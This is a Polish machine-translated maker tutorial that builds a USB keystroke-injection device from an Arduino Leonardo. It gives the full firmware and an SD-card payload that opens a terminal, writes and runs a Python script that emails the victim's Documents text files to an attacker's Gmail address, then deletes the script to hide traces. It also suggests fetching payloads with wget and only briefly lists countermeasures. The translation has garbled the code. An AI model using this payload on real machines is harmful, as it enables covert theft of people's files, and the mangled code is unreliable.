Spisu treści:
- Krok 1: Materiały
- Krok 2: Budowa urządzenia
- Krok 3: Jak to działa w szczegółach
- Krok 4: Środki zaradcze
Wideo: Demonstracja wykorzystania klawiatury Arduino (HID) i zapobieganie: 4 kroki (ze zdjęciami)
2024 Autor: John Day | [email protected]. Ostatnio zmodyfikowany: 2024-01-30 11:31
W tym projekcie użyjemy arduino leonardo do symulacji możliwego ataku USB przy użyciu HID (urządzenia interfejsu humain).
Stworzyłem ten samouczek nie po to, aby pomóc hakerom, ale po to, aby pokazać ci prawdziwe niebezpieczeństwa i jak się przed nimi chronić. To urządzenie nie jest urządzeniem, które może być używane na dowolnej platformie dla hakerów, to bardziej szczegółowy dowód koncepcji.
Nauczymy się następujących rzeczy:
- jak używać arduino leonardo do emulacji klawiatury
- jak odczytywać dane z kart SD
- jak stworzyć skrypt Pythona, który skanuje pliki i wysyła do nich e-maile
- jak chronić się przed urządzeniami włamującymi USB
Krok 1: Materiały
Części:
1. Arduino leonardo
2. Czytnik kart micro USB
3. karta SD o pojemności kilku GB
4. przycisk taki jak ten (VCC, masa i sygnał)
5. Kable rozruchowe żeńsko-męskie i żeńsko-żeńskie
6. kabel micro USB na USB
Krok 2: Budowa urządzenia
Przed instrukcją budowy przyjrzyjmy się zasadzie działania:
Arduino leonardo może zachowywać się jak urządzenie interfejsu ludzkiego (HID) i dlatego może emulować mysz i klawiaturę. Zamierzamy użyć tej funkcji, aby otworzyć terminal (w UBUNTU linux) i napisać mały skrypt, który uzyska dostęp do folderu /Documents w folderze domowym użytkownika, skopiuje tam pliki.txt i wyśle je komuś pocztą e-mail. Jeśli chcesz poznać więcej szczegółów, przejdź do następnego kroku.
Ponieważ jest to urządzenie demonstracyjne, sprawy są naprawdę proste, nie zamierzamy niczego lutować.
Instrukcje budowania
Zanim zaczniemy, sprawdź załączone pliki, załączyłem schematy fritzowania i wszystkie potrzebne pliki
1. Złóż komponenty:
* podłącz kabel micro USB do arduino
* podłącz przełącznik kluczykowy do arduino (masa, vcc i moduł wyjściowy do D8)
* podłącz czytnik kart do arduino (za pomocą nagłówka ICSP). Arduino leonardo nie ma złącza ICSP podłączonego do pinów cyfrowych, więc musisz podłączyć czytnik kart do złącza ICSP. Kilka rysunków ICSP można znaleźć tutaj: https://learn.sparkfun.com/tutorials/installing-an…. Podłącz pin SS do pinu cyfrowego 10
2. pobierz kod arduino, możesz sklonować moje repozytorium arduino na github: https://github.com/danionescu0/arduino i przejdź do projects/keyboard_exploit lub pobierz je poniżej:
#include "Klawiatura.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Polecenie::"; int delayBetweenCommands = 10; const int przyciskPin = 8; const int chipSelect = 10; int previousButtonState = WYSOKA; void setup() { pinMode(buttonPin, INPUT); Serial.początek(9600); Klawiatura.początek(); if (!SD.begin(chipSelect)) { Serial.println("Karta nie powiodła się lub jej nie ma!"); powrót; } } void loop() { int buttonState = digitalRead(buttonPin); if ((buttonState != previousButtonState) && (buttonState == HIGH)) { sdFileToKeyboard(); Serial.println("Przesłano!"); opóźnienie (500); } previousButtonState = buttonState; } void sdFileToKeyboard() { File dataFile = SD.open(filenameOnCard); if (!dataFile) { Serial.println("Podana nazwa pliku nie jest obecna na karcie SD, sprawdź filenameOnCard !"); } Linia ciągów; while (dataFile.available()) { line = dataFile.readStringUntil('\n'); Serial.println(wiersz); sendToKeyboard(linia); } plik_danych.zamknij(); } void sendToKeyboard(String line) { String workingLine = line; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); powrót; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Tekst:");Serial.println(line); Klawiatura.println(wiersz); naciśnij enter(); powrót; } Serial.println("Polecenie:"); int charPosition = commandStartingPoint.length(); int długość linii = długość.długość(); Linia robocza += ", "; while (workingLine != "") { workingLine = workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition = workingLine.indexOf(", "); Polecenie tekstowe = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (polecenie != "") { Serial.print("Znaleziono polecenie:");Serial.println(polecenie); Keyboard.press(getCommandCode(polecenie)); opóźnienie (opóźnienie między poleceniami); } } Keyboard.releaseAll(); opóźnienie (opóźnienie między poleceniami); } void naciśnijEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } void sleepFor(String line) { int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Snu dla:");Serial.println(SleepAmount); opóźnienie (kwota snu); } char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); kod znaku = tekstZnaki[0]; kod = (tekst == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL: kod; kod = (tekst == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT: kod; kod = (tekst == "KEY_LEFT_ALT") ? KEY_LEFT_ALT: kod; kod = (tekst == "KEY_UP_ARROW") ? KEY_UP_ARROW: kod; kod = (tekst == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW: kod; kod = (tekst == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW: kod; kod = (tekst == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW: kod; kod = (tekst == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI: kod; kod = (tekst == "KEY_BACKSPACE") ? KEY_BACKSPACE: kod; kod = (tekst == "KEY_TAB") ? KEY_TAB: kod; kod = (tekst == "KEY_RETURN") ? KEY_RETURN: kod; kod = (tekst == "KEY_ESC") ? KEY_ESC: kod; kod = (tekst == "KEY_INSERT") ? KEY_INSERT: kod; kod = (tekst == "KEY_DELETE") ? KEY_DELETE: kod; kod = (tekst == "KEY_PAGE_UP") ? KEY_PAGE_UP: kod; kod = (tekst == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN: kod; kod = (tekst == "KEY_HOME") ? KEY_HOME: kod; kod = (tekst == "KEY_END") ? KEY_END: kod; kod = (tekst == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK: kod; kod = (tekst == "KEY_F1") ? KEY_F1: kod; kod = (tekst == "KEY_F2") ? KEY_F2: kod; kod = (tekst == "KEY_F3") ? KEY_F3: kod; kod = (tekst == "KEY_F4") ? KEY_F4: kod; kod = (tekst == "KEY_F5") ? KEY_F5: kod; kod = (tekst == "KEY_F6") ? KEY_F6: kod; kod = (tekst == "KEY_F7") ? KEY_F7: kod; kod = (tekst == "KEY_F8") ? KEY_F8: kod; kod = (tekst == "KEY_F9") ? KEY_F9: kod; kod = (tekst == "KEY_F10") ? KEY_F10: kod; kod = (tekst == "KEY_F11") ? KEY_F1: kod; kod = (tekst == "KEY_F12") ? KEY_F2: kod;
kod powrotu;
}
3. Prześlij kod do arduino, pamiętaj, aby wybrać szybkość transmisji 9600, port szeregowy i arduino leonardo
4. Sformatuj kartę SD za pomocą FAT16 lub FAT32
5. Jeśli sklonowałeś repozytorium github z góry, skopiuj plik hack.txt na kartę, jeśli nie, plik jest wymieniony poniżej:
Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Command::KEY_INSERT import smtplib import glob, os.path import expanduser z email. MIMEMultipart import MIMEMultipart z email. MIMEBase import MIMEBase z emaila. MIMEText import MIMEText z e-mail. Utils import COMMASPACE, formatdate z e-mail import Encoders
smtp_user = 'adres_gmail_nadawcy'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumenty'
subject = body = 'Pliki z zaatakowanego komputera'
header = 'Do:{0}\nOd: {1}\nTemat: {2}\n'.format(na_adres, smtp_user, temat)
def sendMail(do, temat, tekst, pliki=):
msg = MIMEMultipart() msg['Od'] = smtp_user msg['Do'] = PRZECINEK.join(do) msg['Data'] = formatdate(localtime=True) msg['Temat'] = temat msg.attach (MIMEText(tekst)) dla pliku w plikach: part = MIMEBase('aplikacja', "octet-stream") part.set_payload(open(file, "rb").read()) Encoders.encode_base64(part) part. add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part)
serwer = smtplib. SMTP('smtp.gmail.com:587')
server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()
sendMail([na_adres], temat, treść, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50 Command::KEY_ESC Sleep::100:x Sleep::500 nohup python hack.py & Sleep::700 rm -rf hack.py Sleep::400 Command::KEY_LEFT_ALT, KEY_F4
6. Edytuj następujące wiersze:
smtp_user = 'nadawca_email_addr'
smtp_pass = 'hasło_nadawcy' to_address = 'adres_odbiorcy'
I zastąp swoimi adresami e-mail
7. Wyjmij kartę i włóż ją do czytnika kart arduino
Krok 3: Jak to działa w szczegółach
Jak zadziała atak:
1. Po naciśnięciu przycisku leonardo odczyta kartę SD za pomocą czytnika kart SD. Na karcie będzie znajdować się specjalny plik zawierający klucze i kombinację klawiszy. Nazwa pliku to „hack.txt”.
Plik może zawierać surowy tekst i zostanie przekazany na klawiaturę w takiej postaci, w jakiej jest.
Może również zawierać specjalne polecenia, takie jak „Sleep::” i „Command::”.
Linia taka jak:
Sen::200 oznacza sen trwający 200 ms
Linia taka jak:
Polecenie::KEY_LEFT_CTRL, KEY_LEFT_ALT, t oznacza wciśnięty lewy ctrl, wciśnięty lewy alt, wciśnięty t i wszystkie zwolnione
Wszystkie klawisze specjalne możesz sprawdzić tutaj:
2. Leonardo będzie czytał wiersz po wierszu, interpretował polecenia i emulował klawisze na klawiaturze. Plik "hack.txt" zawiera kombinację klawiszy, która wykonuje następujące czynności (dla UBUNTU linux):
a. otwiera terminal (CTRL + ALT + T)
b. otwiera plik Pythona do tworzenia za pomocą vi (zapisuje "vi hack.py"
C. pisze wewnątrz skrypt Pythona, który zbiera wszystkie pliki tekstowe w folderze domowym dokumentów i wysyła je na określony adres gmail
D. uruchamia plik w tle ("nohup python hack.py &")
mi. usuwa plik (rm -rf hack.py)
F. zamyka terminal (ALT+F4)
Całość przebiega w kilka sekund i nie pozostawia śladów.
Ulepszenia i rozwiązywanie problemów
* Możesz zauważyć, że po otwarciu terminala piszę plik Pythona. lepszym sposobem na to będzie umieszczenie go gdzieś i pobranie za pomocą polecenia "wget some_url", a następnie zmiana nazwy na hack.py
* Możemy również pobrać lub uruchomić gotowy exploit dla docelowego systemu operacyjnego
* do modułu można dodać wifi, a hacki można wgrać przez WIFI
* możesz użyć arduino micro (który jest znacznie mniejszy) i osadzić na nim kod exploita (aby go zmniejszyć)
Ograniczenia
1. Ponieważ symulowane urządzenie (klawiatura i mysz) nie ma żadnych informacji zwrotnych, nie wiemy, co się stanie po wydaniu polecenia, co oznacza, że musimy użyć opóźnień. Na przykład wydaję polecenie otwarcia terminala, ale nie wiem, kiedy będzie on faktycznie otwarty, więc muszę określić arbitralne opóźnienie, aby upewnić się, że znaki wpisane po nie zostaną utracone.
2. Możemy napotkać problemy z uprawnieniami, takie jak brak dostępu do portu USB lub uprawnienia do zainstalowania czegoś
3. Szybkość pisania na leonardo nie jest zbyt dobra
4. Będzie działać tylko na docelowym systemie operacyjnym (w naszym przypadku UBUNTU linux)
W następnym kroku spróbujemy znaleźć sposoby na wykorzystanie tych ograniczeń, aby zapobiec włamaniu się do naszego komputera
Krok 4: Środki zaradcze
1. Wyłączanie portów USB
- dla Windows możesz sprawdzić ten samouczek:
2. Lista urządzeń USB na białej liście:
- dla okien:
2. Zablokuj komputer, gdy Cię nie ma
3. Nie loguj się jako root (wymagaj haseł do instalacji czegokolwiek)
4. Bądź na bieżąco (włączone automatyczne aktualizacje)
Zalecana:
Arduino Atmospheric Tape Measure/ MS5611 GY63 GY86 Demonstracja: 4 kroki (ze zdjęciami)
Arduino Atmospheric Tape Measure / MS5611 GY63 GY86 Demonstracja: To jest tak naprawdę barometr/wysokościomierz, ale przyczynę tytułu można poznać po obejrzeniu filmu.Czujnik ciśnienia MS5611, znajdujący się w płytach typu breakout Arduino GY63 i GY86, zapewnia niesamowitą wydajność . W spokojny dzień zmierzy Twoje
Kontroler Ps2 do emulatora klawiatury USB Hid: 3 kroki
Kontroler Ps2 do emulatora klawiatury USB Hid: Jest to mały projekt tworzenia programowalnego adaptera USB do kontrolera ps2. Jest to platforma krzyżowa. Zrobiłem to, ponieważ miałem problemy z instalacją zwykłego oprogramowania (antimicro, joy2key itp.). Biblioteka nie kompiluje się dla malusieńkich
Interfejs klawiatury z 8051 i wyświetlaniem numerów klawiatury w 7 segmentach: 4 kroki (ze zdjęciami)
Interfejs klawiatury z 8051 i wyświetlaniem numerów klawiatury w 7 segmentach: W tym samouczku opowiem ci, jak możemy połączyć klawiaturę z 8051 i wyświetlać numery klawiatury w 7-segmentowym wyświetlaczu
Bezprzewodowy router domowy z analogowym miernikiem wykorzystania: 5 kroków (ze zdjęciami)
Bezprzewodowy router domowy z analogowym miernikiem wykorzystania: dorastałem na łodziach i wokół nich, tworząc wiązki przewodów i panele sterowania, i mam kolekcję wskaźników i; tarcze, które normalnie można znaleźć w połączeniu z małymi okrętowymi silnikami wysokoprężnymi. Dziś pracuję jako projektant budujący interfejsy do sieci
Czyszczenie aluminiowej klawiatury Apple . lub dowolnej innej klawiatury miękkiej w dotyku: 5 kroków
Czyszczenie aluminiowej klawiatury Apple …. lub dowolnej innej klawiatury miękkiej w dotyku: Tak czyste, jak Ty lub ja staramy się utrzymać nasze aluminiowe klawiatury Apple, stają się brudne po mniej więcej roku. Ta instrukcja ma pomóc ci ją wyczyścić. Bądź ostrożny, ponieważ nie jestem odpowiedzialny, jeśli twoja klawiatura się zepsuje podczas robienia tego …. DO CIAŁA